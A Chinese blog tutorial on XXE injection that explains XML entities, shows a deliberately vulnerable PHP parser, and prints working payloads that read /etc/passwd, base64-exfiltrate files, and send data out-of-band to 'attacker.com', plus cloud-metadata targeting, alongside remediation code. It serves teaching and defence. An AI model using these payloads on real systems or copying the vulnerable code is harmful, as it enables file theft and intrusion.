一文详解渗透测试之XEE外部实体注入—漏洞原理、攻击手法、防御手法保姆级教程!_xxe注入测试

文章目录
      • 原理
        • XXE 攻击的核心原理
      • XML 语言解释
        • 什么是 XML 语言
          • XML 的特点
          • XML 与 XXE 的关系
      • 以 PHP 举例 XML 外部实体注入
        • 示例代码(存在漏洞)
        • 攻击 Payload
        • 执行过程
        • 输出结果(假设 Linux 服务器)
      • XML 语言结构
        • 文档结构包含以下三个部分
        • DTD 中的实体声明
        • 攻击代码(DTD Payload)
      • 面试题目
      • XXE 漏洞修复与防御
        • 如何寻找 XXE 漏洞
        • 修复与防御方法
        • 1\. XXE 漏洞的检测工具
        • 2\. 真实案例
        • 3\. 最新技术趋势(2025 年)

原理

XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击技术。攻击者通过构造恶意的 XML 输入,利用 XML 解析器对外部实体的支持,执行非预期的操作,例如读取本地文件、发起网络请求或执行系统命令。

XXE 攻击的核心原理
  1. XML 外部实体引用:XML 支持定义外部实体(External Entity),通过 SYSTEMPUBLIC 关键字引用外部资源(如文件或 URL)。

  2. 解析器未限制外部实体:如果 XML 解析器未禁用外部实体加载,攻击者可通过注入恶意实体,触发解析器访问受控资源。

  3. 危害性

    • 文件泄露:读取服务器敏感文件(如 /etc/passwd)。

    • 拒绝服务(DoS):利用实体递归定义(如 Billion Laughs 攻击)耗尽资源。

    • 内网探测:通过构造请求访问内网资源。

    • 命令执行(高级场景):结合特定协议(如 gopher)触发命令。

扩展知识点

  • 最新趋势:2025 年,随着云服务的普及,XXE 攻击常用于云配置文件的泄露(如 AWS 的 metadata 接口)。

  • 变种攻击:如 Blind XXE(无回显场景),通过带外通道(OOB)提取数据。


XML 语言解释
什么是 XML 语言

XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言,设计目标是结构化、可读性强且跨平台兼容。XML 不像 HTML 专注于显示,而是更注重数据的语义和结构。

XML 的特点
  1. 自定义标签:用户可根据需求定义标签(如 <user>name)。

  2. 层次结构:通过嵌套形成树状结构,便于解析。

  3. 可扩展性:支持通过 DTD 或 Schema 定义数据规则。

  4. 实体支持:内置实体机制,用于引用外部或内部数据。

XML 与 XXE 的关系
  • XXE 漏洞源于 XML 的实体引用功能,尤其是外部实体(External Entity)。

  • 如果应用程序未正确配置 XML 解析器,攻击者可利用实体注入恶意代码。

扩展知识点

  • XML 的历史:1998 年由 W3C 标准化,广泛应用于 Web 服务(如 SOAP、REST API)。

  • 与 JSON 的对比:JSON 更轻量,但不支持实体定义,因此无 XXE 风险。


以 PHP 举例 XML 外部实体注入

PHP 是 Web 开发中常用的语言,其 XML 解析库(如 SimpleXMLDOMDocument)如果未正确配置,容易遭受 XXE 攻击。以下是一个典型的 PHP XXE 漏洞示例。

示例代码(存在漏洞)
<?php
$xml = file\_get\_contents("php://input"); // 接收用户输入的 XML
$doc = new DOMDocument();
$doc->loadXML($xml); // 解析 XML,未禁用外部实体
echo $doc->textContent; // 输出解析结果
?>

攻击 Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root \[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
\]>
<root>&xxe;</root>

执行过程
  1. 攻击者通过 POST 请求发送上述 Payload。

  2. PHP 的 DOMDocument 解析 XML 时,触发外部实体 xxe,读取 /etc/passwd 文件。

  3. 服务器返回文件内容,泄露敏感信息。

输出结果(假设 Linux 服务器)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

扩展知识点

  • PHP 环境下的其他解析器

    • SimpleXMLElement:默认启用外部实体。

    • XMLReader:需手动禁用实体加载。

  • 高级利用

    • 读取 PHP 配置文件:<!ENTITY xxe SYSTEM "file:///etc/php.ini">

    • 结合 php://filter<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">,将文件内容转为 Base64 编码输出。

    img


XML 语言结构

XML 的结构由以下核心部分组成,XXE 攻击主要利用其中的 DTD(文档类型定义)部分。

文档结构包含以下三个部分
  1. XML 声明

    • 示例:<?xml version="1.0" encoding="UTF-8"?>

    • 作用:定义 XML 版本和字符编码。

  2. DTD(文档类型定义)

    • 定义文档的结构和规则,支持实体声明。

    • 类型:

      • 内部声明 DTD

        <!DOCTYPE root \[
            <!ELEMENT root (#PCDATA)>
        \]>
        
        
      • 引用外部 DTD

        <!DOCTYPE root SYSTEM "external.dtd">
        <!DOCTYPE root PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
        
        
  3. 文档元素

    • 示例:<root><child>Data</child></root>

    • 作用:承载具体数据。

DTD 中的实体声明

实体是 XML 中用于定义可重用内容的机制,XXE 攻击主要利用外部实体。

  • 内部声明实体

    <!ENTITY name "lady\_killer9">
    
    
    • 调用:<root>&name;</root>,输出 lady_killer9
  • 引用外部实体

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    <!ENTITY xxe PUBLIC "-//W3C//ENT" "http://example.com/data.txt">
    
    
    • 调用:<root>&xxe;</root>,触发外部资源加载。

    img

攻击代码(DTD Payload)

以下是常见的 XXE Payload,用于读取文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root \[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
\]>
<root>&xxe;</root>

扩展知识点

  • 参数实体

    <!DOCTYPE root \[
        <!ENTITY % xxe SYSTEM "file:///etc/passwd">
        <!ENTITY data "%xxe;">
    \]>
    <root>&data;</root>
    
    
    • 作用:参数实体(以 % 开头)只能在 DTD 内部引用,常用于复杂攻击。
  • 最新利用:利用 data: 协议加载 Base64 编码内容,避免直接文件路径:

    <!ENTITY xxe SYSTEM "data:text/plain;base64,SGVsbG8gV29ybGQ=">
    
    

面试题目

以下是常见的 XXE 漏洞相关面试题目及其解答,帮助您在面试中脱颖而出。

  1. 什么是 XXE 漏洞?其原理是什么?

    • 答:XXE 是 XML 外部实体注入漏洞,原理是攻击者通过构造恶意 XML,利用解析器加载外部实体,执行文件读取等操作。
  2. 如何检测一个系统是否存在 XXE 漏洞?

    • 答:抓包分析请求头(如 Accept: application/xml),修改数据格式为 XML,注入测试 Payload(如 <!ENTITY xxe SYSTEM "file:///etc/passwd">),观察响应。
  3. XXE 的危害有哪些?如何防御?

    • 答:危害包括文件泄露、DoS、内网探测;防御方法包括禁用外部实体、升级解析库、使用白名单过滤。

扩展题目

  • Blind XXE 如何利用?

    • 答:通过带外通道(OOB)发送数据,如:

      <!ENTITY % xxe SYSTEM "http://attacker.com/?data=%payload;">
      
      

XXE 漏洞修复与防御
如何寻找 XXE 漏洞
  1. 抓包检查 Accept 头

    • 查看服务器是否接受 application/xmltext/xml

    • 工具:Burp Suite。

imgimgimgimg

  1. 修改数据类型

    • 将 JSON 请求改为 XML(如 Content-Type: application/xml),注入 Payload 测试。

    • 示例:

      POST /api HTTP/1.1
      Content-Type: application/xml
      <?xml version="1.0"?><!DOCTYPE root \[<!ENTITY xxe SYSTEM "file:///etc/passwd">\]><root>&xxe;</root>
      
      
修复与防御方法
  1. 提高版本

    • 使用最新版本的 XML 解析库,避免已知漏洞。
  2. 代码修复

    • PHP

      libxml\_disable\_entity\_loader(true); // 禁用外部实体加载
      $doc = new DOMDocument();
      $doc->loadXML($xml);
      
      
    • Java

      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false); // 禁用实体扩展
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用 DTD
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      
      
    • Python

      from lxml import etree
      parser = etree.XMLParser(resolve\_entities=False) # 禁用实体解析
      xmlData = etree.parse("input.xml", parser)
      
      
  3. 手动黑名单过滤(不推荐)

    • 过滤关键词:<!DOCTYPE<!ENTITYSYSTEMPUBLIC

    • 局限性:易被绕过(如大小写变种、编码绕过)。

扩展防御

  • WAF(Web 应用防火墙):配置规则拦截恶意 XML 输入。

  • 沙箱隔离:在沙箱中解析 XML,限制文件访问。

  • 最新趋势:结合 AI 检测异常 XML 流量,提升防御效果。

1. XXE 漏洞的检测工具
  • Burp Suite:通过 Intruder 模块发送 Payload 测试。

  • XXEinjector:自动化检测工具,支持 Blind XXE。

    python xxeinjector.py -u http://target.com/api -p payload.xml
    
    
2. 真实案例
  • 某 CMS 系统 XXE 漏洞

    • 漏洞点:上传 XML 文件的接口未禁用外部实体。

    • Payload:读取 /etc/passwd 并通过 OOB 返回。

    • 修复:升级解析库,禁用 DTD。

3. 最新技术趋势(2025 年)
  • 云环境下的 XXE:攻击者利用 XXE 读取云实例元数据(如 http://169.254.169.254/latest/meta-data/)。

  • AI 检测与对抗:杀软使用机器学习识别 XXE Payload,红队则通过对抗性样本绕过。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以在下方优快云官方认证二维码免费领取【保证100%免费】

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值